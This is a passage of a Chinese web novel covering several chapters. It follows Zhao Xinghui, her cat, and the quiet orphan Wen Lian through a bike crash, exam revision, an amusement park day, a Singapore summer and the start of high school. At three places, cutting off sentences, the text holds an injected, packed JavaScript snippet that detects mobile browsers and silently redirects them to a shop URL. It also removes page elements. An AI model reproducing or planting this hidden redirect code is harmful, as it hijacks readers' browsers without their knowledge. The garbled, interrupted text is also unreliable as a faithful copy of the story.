两人在网球场把爆爆放出来,哄着它去追球玩,两人运动打球买奶茶,直到傍晚才回家,赵星茴在路口跟方歆分手,带着爆爆拐进自家小区。 进了别墅区,赵星茴让爆爆下地走,自己懒洋洋地骑着车跟在它身后。 这猫太懒,在网球场也只是追着球玩了会,后来一直趴在赵星茴的书包上晒太阳,赵星茴让它多走两步,爆爆不愿动,只冲着赵星茴喵喵叫,蹲在路边不肯挪步,后来不知道是看见草丛里的小虫还是什么新奇东西,突然匍匐在地,尾巴直甩,像捕猎般窜了出去。 赵星茴只想让它多走两步,没提防它“噌”地跑了,蹬着自行车追它:“爆爆,回来。” “臭猫,你给我回来。” 自行车拐了好几个弯,每次都是在赵星茴将要抓住爆爆的时候,它又从车轮旁溜了。 眼看猫就要溜出小区,赵星茴大怒,把车子蹬得飞快,企图赶在爆爆前面把它拦住,狠揍它一顿。 车子以极快的速度蹬出去,又跟着爆爆拐了个弯,下坡的路段,赵星茴风风火火地冲下去,不知道从哪里横亘出来的人影,突然朝着猫走去。 她刹车来不及,眼瞅着就要撞上人。 赵星茴把自行车一歪,尖叫一声,惨烈地撞上路沿,磕倒在地。 连车带人摔在路边,她抱着膝盖坐在地上的时候,倒地的车轮还转得飞快。 等看清罪魁祸首——吓得又呆呆趴地的猫,还有那张清隽温顺的脸。 赵星茴简直是怒火中烧,吃痛地皱着脸,瞪着闻楝,雪白贝齿森寒:“你莫名其妙冲过来干嘛啊!!!!想害死我是不是!!!!!!” 闻楝也呆了,薄唇抿直,脸颊浮现的酒窝带着内疚:“我看见猫,想抱它……没看见你拐过来……抱歉。” 爆爆意识到自己闯祸,小心翼翼地凑上来。 赵星茴捂着膝盖,皱着细眉,嘶嘶吸气,气得连话都说不出。 闻楝快步走过来,连声说抱歉:“你还好吗?有没有哪里受伤了?” “不好!!!”赵星茴抱着膝盖,冷怒凶他,“你不许过来,离我远一点!” 刚才车子撞得厉害,车把手都歪在一侧,网球拍摔在车架里,书包拉链没拉好,里头的东西全都甩出来,零食玩具、水笔便签本、书本练习册、电子词典散了一地。 地上还摊着本字迹清秀、写密密麻麻写字的笔记本。 闻楝一样一样把东西拾起来,赵星茴急得不行,用手边的东西砸他:“你走开,我警告你,别碰我东西,不许碰,不许看。” 他低首,轻轻一瞟,把地上笔记本捡起来。 “闻楝!!!”赵星茴应激,企图跳起来抢他手里的东西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726286|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又“嘶”地吃痛跌坐在地上,满脸通红,“不许动。” “抱歉。”闻楝把地上的东西都塞回书包,拉上拉链,在她面前蹲下,把书包搁在她身边。 赵星茴咬住唇,脸上微烫,好像被人看光,恼羞成怒,怒从心头起,握起拳头敲他单薄肩膀:“谁让你走过来的,害我摔倒,我不是让你走开,你听不懂啊,你怎么那么讨厌……” 她实在气不过,恨恨砸了他两下。 闻楝没躲,眉宇微蹙,低头看她膝盖,“我看看你的膝盖。” 少女皮肤细嫩白皙,从小到大被细心呵护得找不到一块伤疤,现在两个膝盖都沾了灰,一个已经蹭破了皮,另外一只更严重,已经渗血了。 赵星茴再揍他,手都麻了:“你这个混蛋,来我家就是给我添堵的。” 闻楝说对不起。 近距离看,他有双幽深漆黑的眼睛,眼角线条尖锐,是五官中唯一让人觉得冷清的地方,但此刻明亮又真挚地看着她,认真道歉,“赵星茴,对不起。” 赵星茴。 他念她的名字,声调清澈温柔,像春夏傍晚轻染晚霞的云。 赵星茴停住手,手也沾着灰,刚才用力,手掌已经发红,扭过脸——脸颊发红,嘴唇也红,连带着鼻尖和眼睛都沾着微红。 不知道是摔疼了,还是生气、难过、委屈。 爆爆用湿漉漉的鼻尖碰她的手指尖。 闻楝想扶赵星茴坐起来,她别扭拧开肩膀,不让他碰,没好气:“你把自行车扶起来。” 躺在地上的车子被扶起,赵星茴紧紧咬唇,撑着书包,深皱着眉头从地上跳起来,又吃痛,只能僵硬扶着自行车站着,丝毫不敢挪步。 更别提再骑车回家。 “你等我一下,小区门口就有个药店,我去买点消毒药水,先帮你处理下伤口。” 等闻楝再快步回来,抬头只见夕阳坠落林梢,白云如絮,天空半是灰蓝半是淡橙,暖色柔光披撒视线,有人安静倚坐在自行车后座,发梢随风,裙摆微荡,长腿笔直,脚边蹲一只猫。 温柔假象。 再近一点,她杏眼瞪圆,秀眉紧拧,不悦噘嘴,神情忿忿。 更近一点,隔着消毒棉棒的距离,她恨不得把眼皮子底下的人踹开,娇凶训斥:“嘶,痛死了,你轻一点会死啊。” 赵星茴真的很抓狂。 她不想乌龟挪步走回家,打算让家里司机来接,这么短的距离,闻楝看看猫,看看自行车,抿抿唇:“我……载你回去?” 她恨恨瞪他一眼,在闻楝握住自行车时,心不甘情不愿地拽住了他的后背衣角,顺便嫌弃地把手上的灰擦在他的白T恤上。 还好只是蹭破了膝盖,要是再严重一点,她真的要把他赶出家。 . 赵星茴从小到大鲜少受伤。 她小时候受宠,打针戳指头尖都要全家人拿棒棒糖哄,长到六七岁家里依然布置着防撞条和各种儿童安全锁,在软垫上学会骑自行车。 赵坤则和褚文兰在外地出差,燕姐问赵星茴要不要陪她去医院看看,赵星茴窝在沙发不愿意,翘着腿把伤口再处理了一下,怏怏不乐地上了楼。 这事燕姐顺嘴跟褚文兰说了,赵坤则倒没说什么,只说应该把那只猫给扔了,再说不应该穿短裙出门,但这话也没在女儿面前提,不然赵星茴肯定要炸,褚文兰倒是叮嘱了闻楝几句,让他多多包容星茴的小脾气。 闻楝当然说好。 早上出门上学,赵星茴站在门口穿鞋——她站得笔直,面色冰冷地拗着精致下巴。 穿着校服的闻楝背着花里胡哨的书包,半蹲在地上,低着头,耐心帮她系鞋带。 “你系得不对。”赵星茴点开手机:“是这样系的好不好。” 闻楝忍耐着,很轻地皱起眉头,看完手机里的示范,重新伸出修长漂亮的手指,略一思索,流畅地把鞋带打了一个结。 那年,闻楝学会了鞋带的好几种系法,包括蝴蝶结、爱心、小蜜蜂和四叶草。 8. 第 8 章 赵星茴实属有仇必报的性格。 爆爆是长毛狮子猫,最近玩得身上脏,以往都是赵星茴定期把猫送到宠物医院洗澡梳毛,现在赵星茴把猫扔给闻楝,让他给爆爆洗澡。 闻楝抱着猫去了浴室,爆爆脾气温顺,对闻楝手指挠它的下巴表示出了极大的舒适,洗澡的时候倒也乖巧,湿漉漉的小鼻尖蹭着他的手指,裹着浴巾从浴室出来也是乖乖巧巧地瞪着眼睛。 晚上时间,赵星茴不仅没跟他要猫,反而轻描淡写,大度表示:“既然你这么喜欢爆爆,晚上让它留在你房间好了,不过它不能在家乱跑,不要让它走出房间。” 一人一猫呆在卧室,在闻楝思索要如何安顿猫的时候,香香软软、干干净净的猫很自觉钻进了被子里。 闻楝没有养过猫,摸着爆爆无比心软。 甚至心软到对赵星茴的大度,或者说,示好,隐隐感到诧异。 身边有只雪绒绒的毛团子,闻楝前半夜睡得很好,到了后半夜才发现蹊跷。 爆爆每天在家,白天除了吃就是睡,怎么看都是懒洋洋,一到夜半时分,精神抖擞地从被子里钻出来,开启了猫科动物的狩猎时间。 闻楝是被爆爆砸醒的。 半夜这家伙开始满房间跑酷,从书桌跳到柜子顶,从柜子顶蹦到床上,再从床头钻到床尾,床尾滚进床底,闹出无数零零碎碎又滋滋啦啦的动静。 赵星茴第二日吃早餐时,很不意外地注意到闻楝略微低落萎靡的状态。 可以想想昨晚的画面。 她黑亮亮的眼神一直往他身上瞟,唇角的弧度翘得无比醒目,语气愉悦:“爆爆好像很喜欢你哦。” 闻楝看她笑得比狐狸还狡猾,彻底结束了昨晚自己对于“大度”的错误认知,低耷着睫毛,淡声“嗯”了一句。 两人出门上学,闻楝落在赵星茴身后。 她脚步雀跃,心情愉悦,连带着裙角都在飞扬,看他神色略有冷清,忍不住翘唇:“闻楝,你快点呀。” 少女嗓音清脆,笑颜如花。 她顾盼生辉,蹦蹦跳跳跟他并肩走:“今天晚上你还想和爆爆睡吗?我可以答应你哦。” 闻楝淡声道:“不用了,谢谢。” 赵星茴难得跟他说这么多话:“你不是很喜欢它嘛?是爆爆不可爱还是你不喜欢它?它多乖啊,洗完澡又香又软,我觉得它应该很愿意呆在你房间……” 想当初她可是度过了无数个被半夜闹醒的夜晚,最后吸取教训,不得不把它放在别的房间睡觉。 闻楝眉眼半倦微冷,听着她叽叽喳喳说话,半响没回应,只是在拉开车门前说了一句话:“上次笔记本那页,有一个公式你写错的。” 赵星茴微愣。 等她回过神,突然明白了他在说什么,刚才眉飞色舞的表情瞬时消失,又一时忘记怎么顶嘴呛话回他,面色微红,恼羞成怒又无比尴尬地僵站住。 闻楝说的是骑车摔倒那次,他帮她把撒在地上的文具都捡起来,看见当中有本笔记本。 那是赵星茴这学期开始恶补的复习笔记。 众所周知,赵星茴不爱学习,甚至一连气走好几个家庭教师,每天不是打游戏就是瞎玩,似乎从来也没正儿八经写过作业,在大人眼里,大概算是个“养坏”的娇气小公主。 如果“用功”这个词不是赵星茴的标签,那她也不想让别人看见。 更别提“别人家的孩子”,她的人生对照组——闻楝。 赵星茴坐进后座,闷闷地踹了副驾一脚,恶声恶气:“要你管。” 她戴上耳机,板着脸,一路没跟闻楝说话,直到这天半夜十一点,已经闭上眼睛的闻楝又听到了“咚咚”的声音。 不是来自天花板。 是卧室房门。 “咚咚咚……” “咚咚咚咚……” 等闻楝诧异地打开房门,睡衣整齐地站在门口,看见的是穿着公主风白色睡裙,柔软蕾丝花边蝴蝶结衣领上是赵星茴那张强撑着底气的漂亮面孔,头发上几个歪歪扭扭的卡通发夹掀开刘海,露出皎洁秀美的额头。 她皱着秀眉,半步也不想走近,拎着那本笔记本远远站在他房门口,别扭又霸道又生气地问他:“你告诉我,到底是哪个公式错了?” 她想了一天,也翻了一天笔记,实在梗在心里睡不着,一定要问问他。 闻楝被她吵醒,扶着门槛,长睫紧闭一瞬,再睁开眼睛已经彻底清醒。 如果人的忍耐有限度,如果闻楝的隐忍有数值,那么赵星茴对他而言,应该是阈值最高的那个存在。 两人去了客厅,拧开一盏落地灯。 屋子里静悄悄的,暖黄色的灯光只照亮了眼前,两人绒绒的剪影映在墙壁,明明隔着距离,却似乎又咫尺可及。 赵星茴跪坐在地毯上,在闻楝毫无波澜的目光下,视死如归地翻开了自己笔记本。 已经写满的纸页,复习笔记的空隙处写着她的学习心得和心情语录,例如“只要回忆老师穿的那条镭射纹衬衫图案,就能想起这个知识点”和“谐音梗,52588,我是你爸爸”,旁侧还贴着花花绿绿的便签条和小贴纸。 闻楝没出声,在她慢慢翻动笔记本时,指出了那个错误:“这个推导公式很便捷,但这里你漏了一个根号,会导致计算出错。” 赵星茴盯着笔记本,抿起了唇。 的确是她的疏忽,来来回回复习了几遍都没发现这个细节,赵星茴挫败又赌气地阖上笔记本,起身上楼。 但她又在楼梯上顿住脚步,别别扭扭地说了声:“谢谢。” 转身回房的闻楝怔了一下。 这句“谢谢”,语气迟疑而柔软,和最初那句“让他滚”有着天壤之别。 “还有两个月就要中考……如果你有时间的话。” 受人恩惠,闻楝没忘之前赵坤则的想法,“吃完晚饭……我们也许可以一起复习。” 赵星茴抱着自己的复习笔记,垂下眼睛,最后又拗起下巴拒绝:“不用了,我不需要帮助。” 她小时候很聪明,书也念得很好。 后来闻楝发觉,也许赵星茴耳机里放的不仅是摇滚乐,也许还有英语新闻和课程精读,晚上他拧灭卧室的灯,拉开窗帘站在窗边,也许能发现二楼的灯光微微照亮花园。 但这些与他无关。 有关的是考试前夕,赵星茴和方歆去游乐园玩,并且带上了闻楝——在方歆的构思里,想在初中生涯结束前好好玩一次,主要拍点漂亮可爱的青春纪念照留作纪念,缺一位专属摄影师,还缺一个互相照顾背包,帮忙排队、一起吃掉大份甜甜圈的同伴。 父母去世后,时隔多年,闻楝再走进游乐园。 游乐园里是欢乐的音乐、鲜艳的气球、游客们的笑脸和此起彼伏的欢声笑语。 人群里闻楝罕见地沉默,神色温顺柔和,但面色苍白。 赵星茴和方歆穿最可爱的裙子,当青春无敌的美少女,嘻嘻哈哈奔来跑去,摁着照相机咔咔咔拍了无数照片,又指挥闻楝给她们拍下各种各样的合照。 天气炎热,她俩坐在树荫下休息,闻楝顶着火辣辣的太阳去排队买冰激凌,回来时眉眼脸颊都在发烫发红,站在她俩旁边,几乎也和冰激凌一样快晒化了。 赵星茴咬着冰激凌和方歆看刚拍的照片,扭头还跟闻楝抱怨:“刚才在喷泉前你没有把我拍得好看。” 再瞥见他眼角发红,鬓角挂着热汗,“你不吃吗?”她嘴巴鲜红湿润,举起手里甜筒。 闻楝声音平而冷,没有情绪,说不吃。 赵星茴扭过脸再和方歆讨论照片,半分钟后又瞄了闻楝一眼。 闻楝入园毫无兴致,只是苍白沉默地给她们拍照、点餐、帮她们守着包、买各种各样的零食纪念品,神情谈不上高兴或者不高兴,疲惫或者困倦,只是沉默地直视着前方,目光没有焦点,似乎只是发呆,气场冷淡与人隔绝。 游乐园的目的就是让人开心。 方歆不敢玩刺激项目,但赵星茴喜欢,她指着眼前的过山车,找闻楝:“方歆不敢玩,我要去,你敢不敢?陪我。” 她要人陪,就是理直气壮要人陪。 当新一轮过山车嗒嗒攀上顶峰,又急速俯冲而下,赵星茴睁开眼,尖叫着抓着了身边人的手,闻楝闭着眼,紧抿薄唇,微烫的掌心回握住了她的手腕。 一开始也许还有点害怕,但下来后,至少每个游客脸上都有开心或者劫后余生的喜悦表情。 赵星茴甩甩手,雪白纤细的手腕上有淡红的指痕和用力的触感。 出口处,固定照相机抓拍了游客照片。 赵星茴笑得过于灿烂好看,而旁侧的闻楝又太平静,在方歆的怂恿下,赵星茴买下了这张速拍。 闻楝陪她去海盗船和螺旋飞车,又被拽着跟方歆三个人一起比拼碰碰车和吊娃娃抓玩偶吃超大份刨冰,也许那么一瞬间,在色彩鲜艳和花样繁多的娱乐设施上的确品味到了一点快乐和动容。 最后司机来接他们回家,副驾上堆满了买的玩偶纪念品和杂物,赵星茴和闻楝坐在后座,各自占据着一段,降下车窗吹着晚风。 赵星茴用冰袋捂着晒得发红生疼的脸颊,把玩游戏爆出的纪念金币拿出来,跟闻楝分:“这两个是你的,这个是我的。” “不用了,你都拿着吧。”闻楝沉默望着窗外,目光温和。 “我才不要呢。”她把那两枚金币捏到他手里,刚握过冰袋的指尖冰冰凉凉,她低声哼哼,“这个纪念币很难得的,集满了十二枚可以换一份游乐园的纪念品,我都攒了七八个了,谁要你的,你自己攒吧。” 闻楝握住了那两枚金币。 . 春夏时间转瞬而过,毕业班的气氛和往年的显然不一样,赵星茴依然懒洋洋晃悠悠地背着书包上学放学,好不容易捱到中考。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726287|189465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵坤则和褚文兰没对赵星茴的成绩抱有希望,还在商量着如何解决她的高中学校,但赵星茴可不在乎,在中考试结束的第二天,她已经收拾好行李准备出国。 每年这个时候,赵星茴都要去亲妈那过暑假。 今年暑期时间比往年长,她连爆爆都带走了。 她妈妈名叫凌微,年轻时是一位舞蹈老师,在赵星茴出生后当了一段时间的全职太太,大概是在赵星茴十岁左右和丈夫和平分手,不过夫妻俩很快各自再婚,凌微再婚后搬去新加坡和现任丈夫一起生活,现在空闲时间也自己做些舞台艺术的工作。 当时夫妻两人签离婚协议对财产分割没什么异议,本来对女儿的抚养权也毫无分歧,赵坤则公司太忙,赵星茴从小就跟妈妈更为亲近,夫妻俩默认是凌微带着女儿,谁知道赵星茴死活不让两人如愿,一定要跟着爸爸。 凌微的现任丈夫姓陆,管理着新加坡的家族办公室,是赵星茴妈妈的初恋男友和第二任丈夫。 故事难免狗血,无非是真心所爱和破镜重圆。 凌微家境优渥,性格单纯,长得再漂亮也抵不过男友家庭的反对,黯然退场后经家里介绍认识了赵星茴的爸爸,那时候赵坤则长相也是白净斯文,家庭经历性格都和凌微匹配,两人在家庭的撮合下毫无悬念地结婚,很快生下了赵星茴。 不用怀疑,赵星茴如假包换是凌微和赵坤则的女儿。 凌微心里另有所属,和丈夫婚后并没有燃起火花,虽然是死水一潭的婚姻,但也就此照顾家庭和丈夫,把全部爱意都灌溉在女儿身上。 赵坤则也是忙着赚钱,自己事业渐渐做起之后,招了刚毕业的褚文兰来公司当秘书,褚文兰也算是跟着他白手起家,最辛苦的那几年两人一起挤火车坐红眼航班到处出差,久而久之的相处,感情也越来越深。 后来那位英俊潇洒、依旧未婚的陆叔叔出现,递给赵星茴一份精美礼物,略带伤感地说起:“微微,你女儿和你生得很像,和我想象中的一样可爱,如果我们……” 不知道这句“如果我们”后面是什么话,但如果有这个假设的话,那世上不复有赵星茴。 赵星茴对这个能让妈妈拥有惆怅目光,但不是爸爸的男人有种莫名的愤怒。 这个陆叔叔也不是意外出现,是褚文兰通过一个项目合作会认识的,引荐到洛江市来投资的一位重点客户。 后来故事的发展虽然曲折但又顺理成章,皆大欢喜—— 他们都是真爱,唯有赵星茴是意外,是一种本来可以避免的结果。 如果大人嘴里的那种“爱”没有也就算了,但他们在感情博弈时频繁提起这个词,让赵星茴意识到,她并不是爸爸妈妈期盼的那个小孩。 凌微跟着丈夫去新加坡之前,恳求赵星茴跟她一起生活,保证她在妈妈身边会有很幸福很快乐的日子,赵坤则也真心实意劝女儿,公司太忙无法好好照顾她的生活起居,最好的选择就是跟着妈妈。 赵星茴拗着下巴说“不”。 没有理由,她就是要留下。 新加坡的樟宜机场,凌微接到了日思月想的女儿,毕竟是亲母女,赵星茴再叛逆,还是抱了下面前美丽优雅的凌微女士:“妈妈,好久不见。” 凌微向来最宠她,捧住女儿的脸蛋:“我的乖乖宝贝又长高了,这一年过得好不好?” “好极了。” 凌微欢天喜地地把赵星茴带回了家宅,策划着这个暑假要带赵星茴去哪儿度假,安排什么活动,吃什么逛什么买什么。 还想劝劝女儿,春节时期前夫赵坤则和她通过一个电话,说起赵星茴的成绩和脾气,凌微想极力劝女儿留在新加坡念书。 赵星茴只说:“等我的中考成绩出来。” 半个月后,国内的方歆给赵星茴打电话,兴奋地给她报了个好消息:“星茴,你这次考得很好,连班主任都大跌眼镜,超过了本校直升线50分,排名进步了好多,哎,你什么时候回来?庆祝一下啊,你说咱俩高中会不会又分在同一个班?好期待。” 还有更好的消息:“闻楝拿了全校第一你知道吗?你走得太早了,咱们结业典礼那天,学校请他在礼堂做个人演讲,学校好多同学都去听了,人山人海的。” 赵星茴杵着下巴,态度不冷不热:“有什么好听的。” 后来赵星茴给赵坤则打电话说成绩,赵坤则那会在办公室,已经事先得知成绩,很认真地夸了她几句,又顺带提了下闻楝的成绩,让她跟闻楝好好学习。 赵星茴还没开始表示不高兴,电话那端传来一声“赵叔叔,您的文件好了”,嗓音清澈柔和。 是闻楝的声音。 这个家伙为什么会在赵坤则办公室? “阿楝暑假也没什么事,我把他喊过来,帮忙复印文件,整理一些旧文档。”赵坤则笑着解释。 赵星茴皱起鼻尖,冷冷地“哦”了一声,“啪”地把电话挂了。 9. 第 9 章 新加坡的夏天是清晨骤落的雨,是蝉鸣、蛙叫和葳蕤植物。 赵星茴身上的复古花泳衣是后院泳池最活泼的色彩,她自个在水里扑腾也能玩半天,楼上有人推开窗,吹个口哨打招呼,问小美人鱼是不是迷路了,他可以把她捞起来送回大海。 赵星茴抹开脸上的水,趴在泳池边,直接问他是不是讽刺她泳姿很烂的意思。 “现在的小孩心眼真多。”陆显舟耸耸肩膀,露出过分洁白到晃眼的牙齿,笑得爽朗。 “你才小孩呢。”赵星茴不乐意,湿漉漉从泳池上来。 两人又在餐厅遇见。 赵星茴裹着浴巾回屋,她饿了想吃吃香蕉松饼和冰激凌,屋内冷气开得足,凌微站在她身后,再温柔优雅也难免有母亲的叨唠,紧着给她擦湿漉漉的头发,陆显舟正好从楼上下来,先喊凌微一句婶婶,再看赵星茴吃得两颊鼓鼓,端了片面包抹花生酱坐在她对面,两人一起进餐。 陆显舟明明只有二十岁,加州灿烂的阳光、松弛的西式教育和规律健身已经让他有小麦肤色、结实流畅肌肉和健康青年气质。 虽然八竿子打不着的关系,但赵星茴勉勉强强、客客气气喊他一声哥。 赵星茴的继父没有孩子,这位哥是陆家的侄子,趁着暑期时间来新加坡的家族办公室练练手,这阵子就住在赵星茴隔壁房间。 三岁一代沟,过了十八岁尤其明显,陆显舟每天早上西装革履跟着叔叔上班开会,下班换休闲装约国立大学的朋友喝咖啡打球聊天,赵星茴比他小五岁,还在只顾埋头吃喝玩乐的年龄,两人实属没有共同话题。 说到新加坡国立大学,凌微把赵星茴的头发绑好,再说起陆显舟的大学,赵星茴好奇多问了两嘴,才知道他一路念的都是响当当的欧美名校,又不声不响地把嘴闭上。 “我听婶婶说,小茴妹妹的中考成绩不错。” “没有不错。”赵星茴咬一口松饼。 “没有想过留在新加坡念书?婶婶很想你。” “这里没有朋友。”赵星茴眨眼,“我喜欢和我的好朋友在一起。” “也对。”陆显舟笑眯眯把最后一口面包塞进嘴里,“在哪个学校都没关系,关键是要和朋友在一起。” 赵星茴一直在新加坡待到暑假结束,最后凌微恋恋不舍不舍地把女儿送上回国的飞机。 她在高中开学的前一天回到洛江市。 今年情况比去年好,去年赵星茴回国时航班晚点,到家之后又格外糟心,今年至少赵坤则和褚文兰都在家,没有委托司机,赵坤则亲自从公司来机场接她回家。 距离产生美感,两个多月不见,没有鸡飞狗跳,暂时父慈女孝,赵星茴难得没有嫌弃老爸搭在她肩膀的胳膊和微凸的啤酒肚,乖顺地抱着爆爆上车回家。 回到家,家里早就准备了丰盛大餐,此外还有褚文兰的笑脸,亲热殷勤地把她迎入沙发,端上水果零食,问她累不累,需不需要先休息一会。 赵星茴莫名觉得有点奇怪,但又不知道哪儿奇怪。 直到晚饭时间,门口传来动静,而后有人推门进来——身形清薄利落的少年,简简单单的白t牛仔裤帆布鞋,眉眼漆黑平静,面容清隽,神情柔和。 不奇怪了。 这人还在呢。 看多了陆显舟的身材体魄,赵星茴第一眼觉得这人有点不顺眼,皮肤过于冷白,又清瘦,每天要么穿校服,要么黑白灰,看都看腻了。 闻楝手中拎了个礼品袋。 褚文兰笑盈盈地接过礼品袋:“嗐,星茴你来看看喜不喜欢。前几天跟人吃饭,听一个年轻朋友说,有个明星联名款的玩具礼盒正好是今天发售,最受女孩子喜欢,排队非常火爆,我今天走不开,阿楝说他去买,早上出门,现在才买到。星茴你看看,挑了你最喜欢的粉色。” 让人排了一天,这么有诚意的礼物,赵星茴当然说谢谢,当场拆开礼盒,抱在手里玩了一阵。 这已经很给面子了。 既然阖家欢乐,气氛轻松,赵星茴当然也不好耍公主脾气,打开行李箱,把回国的伴手礼拿了出来。 伴手礼是凌微准备的,其实每年都有,把赵星茴身边人都考虑了,分量充足,一点不缺。 去年也有,不过去年赵星茴脾气爆炸,恨恨地在房间把礼物撕开自己吃了,要么直接扔进了垃圾桶。 家里人都有,连燕姐司机和白班阿姨都准备了,赵星茴态度随意,朝着闻楝的方向一递:“你的。” 两人隔的距离不算近,闻楝没想到她转向他,很明显地愣了一下。 南洋风味的伴手礼拿在赵星茴手里,闻楝不动,她也不能一直拿着,稍抬下巴,再晃晃手里:“嗯?” 那意思很明显。 怎么还不来接,要让她拿多久? 闻楝迈步过去,接过东西,神色很温和地道谢:“谢谢。” 赵星茴瞟了一眼。 他睫毛很长,右边脸颊的酒窝很明显,算是一个……温和柔软的笑容?! 赵星茴觉得他还是不笑的好。 这样笑起来好像在……故意讨好人。 晚餐饭桌聊的是闻楝和赵星茴的高中开学。 尚文中学是私立学校,高中实行双轨制,学费升阶,但这点钱对赵家倒没什么大碍,何况闻楝以本校第一名成绩直升,作为优待,学校免了他的高中学费。 谁也没想到赵星茴的中考成绩能飞速提升,褚文兰变着花样夸她聪明漂亮成绩好,塞到赵星茴碗里的菜都堆得冒尖了,但褚文兰一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“星茴,我和你不在同一个班。”方歆在电话里哀叫,哼哼唧唧半日后,音调一转,尾调一收,“但咱俩班级离得不远,就挨着前后门,你猜怎么着——我和闻楝同班。” 赵星茴抱着爆爆,坐在露台吹风,神情不那么高兴:“你六班?” “嗯哼。”方歆咔嚓咬了口苹果。 “好吧。” “别难过嘛,我们还是好朋友啊,就隔了一堵墙,想见面多容易,一下课就在走廊遇见了,半点不耽误。” “也对哦。”赵星茴揉着爆爆脑袋。 开学那日,赵星茴走进了五班,方歆和闻楝踏进了隔壁班的教室。 10. 第 10 章 遑论高中生活如何,赵星茴在开学首月收到了三次表白和两封情书。 如果说懵懂的初中还在友谊和好感之间游曳,那汇集牛鬼蛇神的高中妥妥地上了一个台阶。 赵星茴在班上是那种最惹眼的女生,有钱又漂亮,身上的东西除校服外几乎不重样,连头发丝都精致且带着甜香,花里胡哨的书包永远挂着最热门的玩偶,傲慢地环抱双手,嚼着口香糖,眼风懒懒地走进教室。 是那种不太容易讨好的小公主形象。 高中部学生分类明显,其实不缺这样的女生,也不缺同样背景的男生。 塞在她桌子里的情书还没拆封就被扔进了垃圾桶,被人笑嘻嘻拦住说“我注意你很久了,我很喜欢你”此类表白只能惹得赵星茴撇过鸦黑的睫,不冷不热回一个字:“哦。” 连隔壁班的方歆都撞见过她被表白。 那男生是高年级的,仗着自己有张普渡众生的帅脸,据说交过的女朋友不计其数,看见新晋的小学妹实在鲜嫩可爱,跑到赵星茴教室来表白,也无所畏惧害不害臊,直接在走廊拦住赵星茴,当众问她愿不愿意做自己的女朋友。 半个教室的人都闻风而动,趴在窗户上围观,隔壁班也被感染八卦气氛,方歆探半个头,情不自禁咧出笑脸,笔尖还戳了戳路过的闻楝。 “哎哎,星茴又被人表白了,太好玩了。” 不管主人公是谁,八卦王者方歆就爱凑这种热闹,何况今天主角还是好友,兴致更高昂,问闻楝:“闻楝闻楝,你猜,按星茴的性格,她会怎么回答?” 闻楝对此毫无兴趣,睫毛低敛,连眼风都没给一点。 方歆清清嗓子:“我猜她肯定要说,抱歉,你长得有点丑,我不喜欢你。” 走廊那头,赵星茴上下扫视了那帅哥几眼,输出标准答案:“抱歉,学长,你长得太丑了,我不喜欢。” 那男生一脸茫然且震惊,磕磕巴巴反驳她哪里丑,明明很帅的好吧。 “腰长腿短脖子粗,发际线太高早秃头,眼睛太小嘴太厚,皮肤暗沉长痘痘。”好好一体貌端正的帅哥,在赵星茴嘴里都是缺点,她眨眨眼,“不过学长你审美挺好的,很懂得扬长避短。” 方歆嘎嘎大笑,恨不得拍闻楝肩膀激发共鸣:“是不是,是不是,她就爱用这招,以前有个男生老缠着她,被她打击得再也没出现过。” 闻楝:“……” 他别无所感,只是觉得那男生灰溜溜离开之后,走廊上的少女拗着精致脸蛋,抛之脑后走进教室的风范非常契合他的印象。 中午去学校餐厅吃饭,闻楝帮方歆和赵星茴留了一张餐桌,等两人端着餐盘唧唧呱呱过来,赵星茴的方向本应顺势坐在闻楝的旁边,她却多走了几步,在他对面坐下。 托方歆的福,现在两人在学校的交集直线上升,课间在走廊抬头不见低头见,下课后还能凑一起。 方歆想法挺简单,这两人反正都住一个家里,虽然说关系不好,但也不至于太差,周末在家还能一起打游戏呢,闻楝又是男生,帮忙占个座,拎个东西,很正常吧,她又是赵星茴的好朋友,顺带沾点光嘛。 “星茴,你没看见同学们脸色的表情,都要被你笑死了。” “没完没了的,烦都烦死了。”赵星茴嘟囔。 “就是就是,仗着自己长得帅就跑来骚扰女生,谁知道他姓谁名谁啊,蜜汁自信。” 闻楝等她们入座,端起餐盘要走,方歆问他:“闻楝,你就走了吗?” 他已经结束了变声期,声音明澈清净:“我已经吃完了,你们慢慢吃。” 方歆喊住他:“物理老师昨天布置的作业,待会回教室能不能给我看看,后面两道题太难了,我都不会,下午就要交了。” 又扭头跟赵星茴吐槽:“星茴,你们班物理老师怎么样?我们班那个物理老师,仗着自己名校毕业,IQ高EQ低,极其毒舌,全班同学都被他骂蠢,开学到现在只表扬过闻楝,真受不了,我可不想再被他骂。” 闻楝说好。 赵星茴在旁搅着自己碗里的罗宋汤,倒是一声不吭。 如果闻楝足够敏锐的话,应该能察觉出,赵星茴虽然表面无异,但最近对他有点微妙的冷淡。 不是两人最初凑在一个屋檐下的排斥冷淡,是已经相处了一整年,明明有时候能好好说话,但她要是突然想起点什么,别别扭扭晾着他的冷淡。 这意味着她不高兴。 闻楝察觉。 